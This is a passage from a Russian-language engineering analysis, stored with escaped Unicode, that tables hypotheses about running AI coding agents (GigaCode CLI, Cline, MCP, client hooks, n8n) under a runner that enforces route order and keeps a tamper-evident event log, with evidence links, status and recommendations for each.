\u0441\u0442\u043e\u0438\u0442 \u043d\u043e\u0432\u043e\u0433\u043e TASK ID |\\n254\\t| \u0413-33 | \u041f\u0430\u043a\u0435\u0442 \u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 (`EP-R7`) | `EP-R7` \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u0443 \u043f\u043e\u043f\u044b\u0442\u043a\u0443 ([L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231)); \u043c\u0430\u0440\u0448\u0440\u0443\u0442 GigaCode \u2014 `corrective_attempts: 0` \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 `EP-R7` ([L66-L67](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L66-L67)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430.** \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435: \u043e\u0434\u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0430, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f runner, \u2014 \u043e\u043d\u0430 \u043d\u0435 \u0441\u043a\u0440\u044b\u0442\u0430\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0443 ADR-018 |\\n255\\t| \u0413-34 | \u0423\u0437\u0435\u043b n7 \u00ab\u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443\u00bb \u043e\u043f\u0438\u0441\u0430\u043d \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e | \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0443\u0437\u043b\u0430: \u00ab\u0430\u0433\u0435\u043d\u0442 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435, \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0436\u0434\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u00bb ([L24](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L24)); \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0440\u0435\u0431\u0440\u0430: \u00ab\u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u2014 \u0440\u0435\u0431\u0440\u043e \u0433\u0440\u0430\u0444\u0430, \u0430 \u043d\u0435 \u043f\u0430\u0443\u0437\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L49)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c Source.** \u041e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0440\u0435\u0431\u0440\u043e\u043c \u0433\u0440\u0430\u0444\u0430 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 `waiting` ([\u0413-31](#\u0433-31)) |\\n256\\t| \u0413-35 | \u0416\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 append-only \u0438 \u0437\u0430\u0449\u0438\u0449\u0451\u043d \u043e\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u044b (`EP-R9`) | Runner \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 \u0438 `recorded_by: runner` ([L132-L139](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L132-L139)) \u0438 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 ([L94-L122](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L94-L122)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c.** \u042d\u0442\u043e \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u043e\u0438\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0432 \u043b\u044e\u0431\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440 |\\n257\\t| \u0413-36 | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u00ab\u0434\u0432\u0438\u0436\u043e\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d\u00bb \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | [\u0412\u0435\u0440\u0434\u0438\u043a\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193) \u0440\u0435\u0448\u0430\u0435\u0442 build \u043f\u0440\u043e\u0442\u0438\u0432 buy \u0434\u043b\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u043d\u043e \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f; \u043f\u043e\u0441\u044b\u043b\u043a\u0430 \u2014 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)) \u2014 \u0432\u0435\u0440\u043d\u0430 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 1 \u0438 \u043d\u0435\u0432\u0435\u0440\u043d\u0430 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u00ab\u041d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442 \u00ab\u043d\u0435 \u0438\u043c\u0435\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u00bb. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u2014 \u0441\u0432\u043e\u0439 runner |\\n258\\t\\n259\\t### \u0416. \u0421\u043b\u043e\u0439 2: \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442, \u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a)\\n260\\t\\n261\\t| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n262\\t|---|----------|----------------|--------|-------------|--------------|\\n263\\t| \u0413-37 | \u041a\u043b\u0438\u0435\u043d\u0442 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 (Cline, GigaCode CLI, \u0430\u043d\u0430\u043b\u043e\u0433\u0438) \u043c\u043e\u0436\u0435\u0442 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | Workflow Cline \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u0435\u043a\u0441\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043b\u0438 ([\u0442\u0435\u0441\u0442 `slash-command-expansion`](https://github.com/cline/cline/blob/main/apps/vscode/src/sdk/slash-command-expansion.test.ts)); \u043a\u043e\u043c\u0430\u043d\u0434\u044b Kilo Code, Gemini CLI \u0438 Qwen Code \u2014 \u0442\u043e\u0436\u0435 \u0442\u0435\u043a\u0441\u0442 ([Kilo](https://kilo.ai/docs/customize/workflows), [Gemini](https://geminicli.com/docs/cli/custom-commands/), [Qwen](https://qwenlm.github.io/qwen-code-docs/en/users/features/commands/)). Skills GigaCode \u00ab\u043d\u0435 \u0434\u0430\u044e\u0442\u00bb \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0439 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 ([ADR-018 L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u041a\u043b\u0438\u0435\u043d\u0442 \u2014 \u043c\u0435\u0441\u0442\u043e, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0436\u0438\u0432\u0451\u0442 \u0432 runner |\\n264\\t| \u0413-38 | MCP-\u0441\u0435\u0440\u0432\u0435\u0440 runner \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c | \u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f MCP: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u00abmodel-controlled\u00bb ([MCP 2025-11-25, tools](https://modelcontextprotocol.io/specification/2025-11-25/server/tools)); \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. ADR-018 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 ([L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)), ADR-019 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 MCP \u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043d\u043e \u043d\u0435 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a ([L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u043a\u0430\u043a \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0432\u0445\u043e\u0434, \u043d\u043e runner \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0435\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443 |\\n265\\t| \u0413-39 | Hooks \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043c\u043e\u0433\u0443\u0442 \u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 | Hook \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432: Cline \u2014 `cancel: true` ([\u043f\u0440\u0438\u043c\u0435\u0440 SDK](https://github.com/cline/cline/blob/main/sdk/examples/hooks/PreToolUse_BlockDestructive.sh)), Gemini CLI \u2014 \u043a\u043e\u0434 \u0432\u044b\u0445\u043e\u0434\u0430 2 ([hooks](https://geminicli.com/docs/hooks/)), Qwen Code \u2014 `permissionDecision: deny` ([hooks](https://qwenlm.github.io/qwen-code-docs/en/users/features/hooks/)). \u0417\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433 hook \u043d\u0435 \u043c\u043e\u0436\u0435\u0442. \u0423 GigaCode CLI hooks \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b ([\u0413-42](#\u0433-42)); hooks \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043d\u0430 Windows \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f ([\u0413-10 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-10)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** Hook \u2014 \u0441\u0442\u0440\u0430\u0436, \u0430 \u043d\u0435 \u0432\u0435\u0434\u0443\u0449\u0438\u0439. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0440\u0435\u0442\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 `runs/` \u043c\u0438\u043c\u043e runner |\\n266\\t| \u0413-40 | \u0421\u0440\u0435\u0434\u0430\u043c 1 \u0438 2 \u043d\u0443\u0436\u043d\u044b \u0440\u0430\u0437\u043d\u044b\u0435 runner'\u044b | \u0421\u0435\u0439\u0447\u0430\u0441 \u0438\u0445 \u0434\u0432\u0430: [`run-task.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py) \u0441 \u0433\u0440\u0430\u0444\u043e\u043c RG-BCREQ-v1 \u0438 [`run_task.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/run_task.py) \u0441 \u043e\u0434\u043d\u0438\u043c \u043e\u0442\u0440\u0435\u0437\u043a\u043e\u043c Working \u2192 Release. \u041b\u043e\u0433\u0438\u043a\u0430 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a; \u0441\u0440\u0435\u0434\u0430 4 \u0437\u0430\u0434\u0443\u043c\u0430\u043d\u0430 \u00ab\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0439 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438\u00bb ([ADR-019 L94](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L94)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0435 \u0432 \u043e\u0431\u0430 \u043f\u0430\u043a\u0435\u0442\u0430; \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u0434\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 |\\n267\\t| \u0413-41 | \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b, \u0432 \u043d\u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043b\u043e\u0433\u0438\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 | Roo Code \u0432 \u0430\u0440\u0445\u0438\u0432\u0435, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0432\u044b\u043f\u0443\u0441\u043a v3.54.0 \u043e\u0442 2026-05-15 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/RooCodeInc/Roo-Code)); \u0440\u0435\u0436\u0438\u043c Orchestrator \u0432 Kilo Code \u0443\u0441\u0442\u0430\u0440\u0435\u043b ([docs](https://kilo.ai/docs/code-with-ai/agents/orchestrator-mode)); Gemini CLI \u0441 2026-06-18 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0438 Enterprise-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b ([Google](https://developers.googleblog.com/an-important-update-transitioning-gemini-cli-to-antigravity-cli/)); Cline v4 \u0441\u043c\u0435\u043d\u0438\u043b \u0438\u043c\u0435\u043d\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0438 hook \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b \u0438\u0445 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c ([\u0413-11 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-11)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u0412\u0441\u0451, \u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0436\u0438\u0442\u044c \u0441\u043c\u0435\u043d\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u0436\u0438\u0432\u0451\u0442 \u0432 Source \u0438 runner |\\n268\\t| \u0413-42 | \u041f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 GigaCode CLI \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b | \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 GigaCode \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u044b IDE ([gitverse](https://gitverse.ru/features/gigacode/install/)); CLI \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043f\u043e \u0430\u043d\u043e\u043d\u0441\u0443 \u0432\u043e \u0432\u0442\u043e\u0440\u0438\u0447\u043d\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 ([seonews](https://m.seonews.ru/events/sber-predstavil-gigacode-cli-ii-razrabotchik-teper-rabotaet-iz-komandnoy-stroki/)); \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 hooks \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 | \u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e | \u041d\u0438\u0437\u043a\u0430\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f |\\n269\\t| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI \u0434\u043b\u044f Python \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 `base_url` ([openai-python](https://github.com/openai/openai-python)). \u0412 \u0441\u0440\u0435\u0434\u0435 1 API Mango AI \u043d\u0435\u0442 ([issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)). \u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0441\u044f | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u0434\u043e\u0441\u0442\u0443\u043f \u043a endpoint Mango AI \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u0440\u0435\u0434\u044b 4 |\\n270\\t\\n271\\t### \u0417. \u0421\u043b\u043e\u0439 3: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n272\\t\\n273\\t| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n274\\t|---|----------|----------------|--------|-------------|--------------|\\n275\\t| \u0413-44 | n8n \u2014 \u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 | \u0417\u0430: \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438 ([\u0413-46](#\u0433-46)), OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 ([\u0413-45](#\u0433-45)), \u0444\u043e\u0440\u043c\u044b, \u0447\u0430\u0442, Jira, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Server ([Jira](https://docs.n8n.io/integrations/builtin/credentials/jira.md)), Git ([docs](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.git.md)). \u041f\u0440\u043e\u0442\u0438\u0432: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 n8n ([\u0413-47](#\u0433-47)); Python \u0432 \u0443\u0437\u043b\u0435 Code \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0435 